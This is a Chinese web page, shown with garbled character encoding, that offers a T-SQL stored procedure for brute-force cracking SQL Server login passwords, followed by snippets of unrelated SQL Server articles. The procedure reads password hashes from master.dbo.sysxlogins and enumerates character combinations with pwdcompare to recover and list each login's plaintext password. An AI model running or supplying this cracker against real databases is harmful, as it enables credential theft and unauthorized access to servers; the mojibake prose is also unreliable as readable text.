Ò׽ؽØͼÈí¼þ¡¢µ¥Îļþ¡¢Ãâ°²×°¡¢´¿ÂÌÉ«¡¢½ö160KB

´æ´¢¹ý³ÌʵÀý:SQL Server SaÃÜÂëÆƽâ


Ò»¸öSQL Server SaÃÜÂëÆƽâµÄ´æ´¢¹ý³Ì:
if exists (select * from dbo.sysobjects where id = object_id(N'[dbo].[p_GetPassword]') and OBJECTPROPERTY(id, N'IsProcedure') = 1)
drop procedure [dbo].[p_GetPassword]
GO
/*--Çî¾Ù·¨Æƽâ SQL Server Óû§ÃÜÂë
¿ÉÒÔÆƽâÖÐÎÄ,ÌØÊâ×Ö·û,×Ö·û+βËæ¿Õ¸ñµÄÃÜÂë
ΪÁË·½±ãÏÔʾÌØÊâ×Ö·ûµÄÃÜÂë,ÔÚÏÔʾ½á¹ûÖÐ,ÏÔʾÁË×é³ÉÃÜÂëµÄASCII
ÀíÂÛÉÏ¿ÉÒÔÆƽâÈÎÒâλÊýµÄÃÜÂë
Ìõ¼þÊÇÄãµÄµçÄÔÅäÖÃ×ã¹»,ʱ¼ä×ã¹»
/*--µ÷ÓÃʾÀý
exec p_GetPassword
--*/
create proc p_GetPassword
@username sysname=null, --Óû§Ãû,Èç¹û²»Ö¸¶¨,ÔòÁгöËùÓÐÓû§
@pwdlen int=2 --ÒªÆƽâµÄÃÜÂëµÄλÊý,ĬÈÏÊÇ2λ¼°ÒÔϵÄ
as
set @pwdlen=case when isnull(@pwdlen,0)<1 then 1 else @pwdlen-1 end
select top 255 id=identity(int,0,1) into #t from syscolumns
alter table #t add constraint PK_#t primary key(id)
select name,password
,type=case when xstatus&2048=2048 then 1 else 0 end
,jm=case when password is null then 1 else 0 end
,pwdstr=cast('' as sysname)
,pwd=cast('' as varchar(8000))
into #pwd
from master.dbo.sysxlogins a
where srvid is null
and name=isnull(@username,name)
declare @s1 varchar(8000),@s2 varchar(8000),@s3 varchar(8000)
declare @l int
select @l=0
,@s1='char(aa.id)'
,@s2='cast(aa.id as varchar)'
,@s3=',#t aa'
exec('
update pwd set jm=1,pwdstr='+@s1+'
,pwd='+@s2+'
from #pwd pwd'+@s3+'
where pwd.jm=0
and pwdcompare('+@s1+',pwd.password,pwd.type)=1
')
while exists(select 1 from #pwd where jm=0 and @l<@pwdlen)
begin
select @l=@l+1
,@s1=@s1+'+char('+char(@l/26+97)+char(@l%26+97)+'.id)'
,@s2=@s2+'+'',''+cast('+char(@l/26+97)+char(@l%26+97)+'.id as varchar)'
,@s3=@s3+',#t '+char(@l/26+97)+char(@l%26+97)
exec('
update pwd set jm=1,pwdstr='+@s1+'
,pwd='+@s2+'
from #pwd pwd'+@s3+'
where pwd.jm=0
and pwdcompare('+@s1+',pwd.password,pwd.type)=1
')
end
select Óû§Ãû=name,ÃÜÂë=pwdstr,ÃÜÂëASCII=pwd
from #pwd
go


Ïà¹ØÎĵµ£º

SQL SERVER¾¯±¨¹ÜÀí Êý¾Ý»Ö¸´

¾¯±¨¹ÜÀí
×÷ÒµÖ´ÐÐʱ£¬SQL Server´íÎóÏûÏ¢µÄÐÅÏ¢´æ·ÅÔÚWindowsÊÂÎñÈÕÖ¾ÖС£SQL Server´úÀí¶ÁÈ¡Õâ¸öÈÕÖ¾£¬²¢±È½Ï´æ´¢µÄÏûÏ¢ÓëΪϵͳ¶¨ÒåµÄ¾¯±¨£¬Èç¹ûÆ¥Å䣬SQL Server´úÀí¼¤»î¸Ã¾¯±¨£¬ËùÒÔ£¬¾¯±¨¿ÉÒÔÓÃÓÚÏìӦDZÔÚµÄÎÊÌâ(ÈçÌîÂúÊÂÎñÈÕÖ¾)¡£µ±¾¯±¨±»´¥·¢Ê±£¬Í¨¹ýµç×ÓÓʼþ»òÕßÑ°ºô֪ͨ²Ù×÷Ô±£¬´Ó¶øÈòÙ×÷Ô±Á˽âϵͳÖз¢ÉúÁËʲà ......

win7 Ï ÅäÖà SQL Server 2005 ÔÊÐíÔ¶³Ì·ÃÎÊ

win7 Ï ÅäÖà SQL Server 2005 ÔÊÐíÔ¶³Ì·ÃÎÊ
2010Äê2ÔÂ2ÈÕ bibiQ
±¾À´Ò»Ö±²»Ô¸ÒâÅäÖÃÔ¶³Ì·ÃÎÊSQL server£¬µ«½ñÌìÒ»ºÝÐÄ°ÑËüÅäºÃÁË¡£
²Î¿¼ÁËÍøÉϵÄÌû×Óhttp://www.cnblogs.com/sukiwqy/archive/2009/11/11/1601381.html
step1£º ÅäÖÃSQL Server ÍâΧӦÓÃÅäÖÃÆ÷£¨Îª SQL Server 2005 ÆôÓÃÔ¶³ÌÁ¬½Ó¡¢ÆôÓà SQL Server Brow ......

SQL ServerÈ«ÎÄË÷ÒýµÄ¸öÈË×ܽá(ÏÂ) ¹ØÓÚÖÐÎÄ·Ö´Ê


SQL ServerÈ«ÎÄË÷ÒýµÄ¸öÈË×ܽá(ÏÂ)-¹ØÓÚÖÐÎÄ·Ö´Ê
(2005-11-14 04:32:01)
תÔØ
 
·ÖÀࣺÉî¶ÈÑо¿
ÔÚʹÓÃSQL SearchµÄ¹ý³ÌÖУ¬»¹·¢ÏÖÁËÒ»¸öÎÊÌ⣺Ëü¶ÔÖÐÎÄ£¬ÊÇ°´×ִַʵģ¬ÏÂÃæÎÒ½âÊÍһϣº
±ÈÈç¶Ô'²©¿ÍÌóÉÔ±ºÜ¶àÊÇMVP'Õâ¾ä»°£¬¼ÙÈçÒ»¸ö¸öµÄ×ÖµÄ×÷Ë÷Òý£¬»á±ÈʹÓÃ'²©¿ÍÌÃ','³ÉÔ±',MVP'¼¸¸ö´Ê×÷Ë÷ÒýÉú³ÉµÄË ......

SQL³£¼û²éѯÎÊÌâ(±à³Ì)


ÓÐЩ³£¼ûµÄÎÊÌâÔÚÂÛ̳Öв»¶Ï³öÏÖ£¬²»·ÁÕûÀíһϡ£
ÒÔÏÂÓï¾äÊÇÔÚSQLServer2005ÉÏʵÏֵģ¬Ò»Ð©Óï¾äÎÞ·¨ÔÚSS2000ÉÏÖ´ÐС£
ÓÐÓÃÖ¸ÊýÊÇÎÒ¸ù¾ÝÕâ¸öÎÊÌâµÄ³£¼û³Ì¶È´òµÄ·Ö£¬½ö¹©²Î¿¼¡£Êµ¼ÊÉÏ£¬µ±ÄãÓöµ½ÁËÕâ¸öÎÊÌ⣬Õâ¸öÎÊÌâÄÄÅÂÔÙÉÙ¼û£¬½â¾ö·½°¸Ò²ÊǷdz£ÓÐÓõġ£
1. Éú³ÉÈô¸ÉÐмǼ
ÓÐÓÃÖ¸Êý£º¡ï¡ï¡ï¡ï¡ï
³£¼ûµÄÎÊÌâÀàÐÍ£º¸ù ......
© 2009 ej38.com All Rights Reserved. ¹ØÓÚE½¡ÍøÁªÏµÎÒÃÇ | Õ¾µãµØͼ | ¸ÓICP±¸09004571ºÅ